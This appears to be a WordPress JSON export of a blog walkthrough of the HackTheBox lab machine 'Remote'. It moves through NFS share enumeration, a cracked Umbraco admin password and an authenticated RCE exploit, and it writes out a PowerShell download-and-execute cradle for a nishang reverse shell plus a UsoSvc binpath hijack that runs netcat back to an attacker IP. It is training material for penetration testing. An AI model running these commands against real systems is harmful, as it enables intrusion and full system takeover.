{"id":405,"date":"2020-07-23T06:49:00","date_gmt":"2020-07-23T06:49:00","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=405"},"modified":"2020-07-23T06:49:06","modified_gmt":"2020-07-23T06:49:06","slug":"remote-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/remote-hackthebox-walkthrough\/","title":{"rendered":"Remote Hackthebox walkthrough"},"content":{"rendered":"\n<p>Hey fellas!! Its time for remote from hackthebox. This was an easy Windows machine. The initial foothold for the machine was based on CVE of a CMS and has a straight-forward privilege escalation to Administrator.<br>With all that said, let\u2019s get started!!<\/p>\n\n\n\n<p>Scan the host for the open ports and services.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -oA remote.nmap 10.10.10.180<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/3MZzXPYD-dtVXNEYiupE-6m9Iemio44MVrQ74Eu-k6bwsZcEA2o03vyYKusn-M9fFFhNoZjA8slJ1d6xvA0lslpCR6tTHGPcJnBZGn_NXd-ISLNzdFCYWVXd_DLbcNURjF6Q-UQP\" alt=\"\"\/><\/figure>\n\n\n\n<p>The output revealed 3 interesting ports 21(ftp), 80(http), 111(rpcbind).<br>Unfortunately, Anonymous login on ftp did not return anything.<br>Since nfs was active, I ran another script from nmap for check for any available shares.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sV --script=nfs-showmount -oN remote.nfs remote.htb<\/pre>\n\n\n\n<p>And I found the share<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/ODvhlf9ur_a-vI2bfqbH--OsmIOt3oqJ-6qJH-XMHCtZOGkmI8AXuOUqHkb1zi0kJMmhSJutbSF72CilcT9eLvPSRrcTdMwbAeQJj5Z1U0ZG8BdOdEpOIsZu-3tNl_aWqwhIEpXC\" height=\"146\" width=\"587\"><\/p>\n\n\n\n<p>So I mounted the share on <strong>\/mnt<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># mount -t nfs 10.10.10.180:\/site_backups \/mnt<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/6kKNZHWPML_svwomw1wvYBA9-mkOw2dzRLk2qtalHCK1lvbEttwYdc49KLh-p3JZKulqYPxnKY-HO7CNO2zddPxfuUFc7svh-ivWMFsV8A7RXvlYSDi85wXXQ43NINLsXRWNiYUy\" height=\"366\" width=\"601\"><\/p>\n\n\n\n<p>After a bit of enumeration, I found out a <strong>Umbraco.sdf<\/strong> file that is a database file that could lead me to credentials. Also, I googled for Umbraco and found out that it is a <strong>content management system<\/strong>.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/x13EVGGw0tjQfQF4HZkpiS4CoBdCVzpKFTGV79alnV9mrdvc8_UCmXocc4-ujsIPONeXxPQxbQqPodw0BcAgYlab-JRH93eqa88dbwL8OvHvfBPag5pNYZVkTf-gSXwPwfTZCXdy\" height=\"151\" width=\"624\"><\/p>\n\n\n\n<p>There was an admin hash encrypted with SHA1.<br>The hash was decrypted to baconandcheese.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/ljETAf2KJY8pLAaBnAMqyPh_spmVcboFgBpzAbOjJwFMSNOkn1roKtc0HwFHcHproc0HUcXgrXs_ONqq71CdNb0np1IecxpcF6pby-KUH_xc9IeryakoSCjXXY7U6eX32QYzaLZX\" height=\"78\" width=\"552\"><\/p>\n\n\n\n<p>Alongside manual enumeration, I ran a gobuster scan on http:\/\/10.10.10.180 that yielded a lot of directories.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/4gB4ESqAMjqOvOxktLtbbeJ-Yn9IQXIb9Jkq47TvNiaeapRgyQ04hPT3GOrJjMaNjiHUP3EhoXY4z8itoOzwGVzj5IurExDvrM99LVvnx-NPRbfTQDfXy8r5aycTVRrNA-Kr2CwK\" height=\"522\" width=\"258\"><\/p>\n\n\n\n<p>There were a lot of misleading results, but <strong>\/install <\/strong>led to something interesting. An Umbraco login page!!<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/le0sUgQfpPP_h4MwX26UAplocE8s8OC7SxxERIilGtqw_TloFVyqgEQjgpX4n7FhE3k_umhkQ3IA69shpS0aQMj1E-qtNltTW4cvMfmN5vdZgVagcGqL-oOjFo3GVbCeETlt0xa0\" height=\"453\" width=\"624\"><\/p>\n\n\n\n<p>So the email (<strong>admin@htb.local<\/strong>) and password (<strong>baconandcheese<\/strong>) obtained from Umbraco.sdf can be used here. And kudos, it worked!!<\/p>\n\n\n\n<p>I searched the google for any exploits of Umbraco and found out <strong>Authenticated RCE<\/strong> over the version currently used. I found a similar exploit script here.<br>As a next step, I spawned up a reverse shell and got into the windows box.<\/p>\n\n\n\n<p>Open up a nc listerner on port 4444<br>Set up python simplehttpserver on port 80<br>python -m SimpleHTTPServer 80<br>Copy the nishang script for reverse shell (Invoke-PowerShellTcp.ps1) to you working directory and add a line at the end of the file.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.48 -Port 4444<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">Run the exploit with following arguments\n# python exploit.py -u admin@htb.local -p baconandcheese -i 'http:\/\/10.10.10.180' -c powershell.exe -a \"IEX(New-Object Net.WebClient).downloadString('http:\/\/10.10.14.48\/Invoke-PowerShellTcp.ps1')\"<\/pre>\n\n\n\n<p>And combining all the above points, you are into the box<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/-uRiWWZQVqGAUf89yXks5IQwPAm_3OgEEs2A_EHT4GHTndC7teUggoI5p7syUHGhM_hMi-YnPFSc-zyPFkOZwarsT51KBwmZxO9wFvi_4VtA1H6xgmwvN8Y4BeFCBoVsAoyoUxhP\" height=\"200\" width=\"657\"><\/p>\n\n\n\n<p>We can now cd into C:\\Users\\Public and we get the user.txt<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/JhqRd6Yasd7zf--TVkcHb-kqhB_KfVFqdFfMY2g9MpFbo_r67E6E2Jascickp7pueaMzq1SsJZl_TX47sjEckSZtr6z2hSiKOyXRryD1a3km5MOT6rJFDl8eOsgHBMfZsdkEmEAx\" height=\"500\" width=\"584\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Now time to priv esc!!<\/h2>\n\n\n\n<p><br>I pulled up winPEAS.exe from my local machine to the windows box and enumerated.<br><strong>Usosvc<\/strong> was running as Administrator. Therefore, the service can be abused into running our own command and hence can get a reverse shell.<br>I copied a nc.exe onto the windows machine.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">> invoke-webrequest -Uri http:\/\/10.10.14.48\/nc64.exe -OutFile nc.exe<\/pre>\n\n\n\n<p>Now using sc.exe, the added a reverse shell to the Usosvc service by changing the binpath to the path where nc.exe exists. Also started a netcat listener on a port on the attacking box. After starting the service, the cmdlet got executed with admin privileges and voila we got shell as<br><strong>Administrator<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">> sc.exe config UsoSvc binpath= \u201cC:\\Users\\Public\\nc.exe 10.10.14.48 4444 -e cmd.exe\u201d\n> sc.exe start UsoSvc<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/J_zeJm9kJhGveQlAez_AgLFYcRvaELt4oVqx4VIyR5IPq9MAUDY2qHKi2GEbrXwwP80qvP_e_3R-XMOE-Ckc2Sut9eHY4cnHau8HC9_S-MX7DFTPke2jiEzsXunZxc2vRiuHSBRn\" height=\"286\" width=\"973\"><\/p>\n\n\n\n<p>From the image above, its inferred that after querying the status of the Usosvc service, we have the command injection on the Binary Path Name that will further lead to privilege escalation upon execution.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/pZljrtU6Ipt_x0lbpWTnjm0ZToKQeCOYkOeSXv-S6wYRueAjTax57PEHzWAy6k1C63r5vigP5OzEePcLLELt--GUCcFjPsd12fBiK0-jALYQqU71PFsc_03Vq4KDjqFFuSu-h96d\" height=\"312\" width=\"554\"><\/p>\n\n\n\n<p>Thats all for this post!! Thanks for reading. For more such content subscribe to my page<br>See you in the next one.Until then, Happy hunting!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey fellas!! Its time for remote from hackthebox. This was an easy Windows machine. The initial foothold for the machine was based on CVE of a CMS and has a straight-forward privilege escalation to Administrator.With all that said, let\u2019s get started!! Scan the host for the open ports and services. # nmap -sC -sV -oA [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":406,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2,109],"tags":[54,242,240,239,101,52,237,241,238,57],"class_list":["post-405","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","category-windows","tag-htb","tag-invoke-poershelltcp","tag-mount","tag-nfs","tag-pentest","tag-red-teaming","tag-remote","tag-sc-exe","tag-service-abuse","tag-windows","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/405"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=405"}],"version-history":[{"count":1,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/405\/revisions"}],"predecessor-version":[{"id":407,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/405\/revisions\/407"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/406"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=405"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}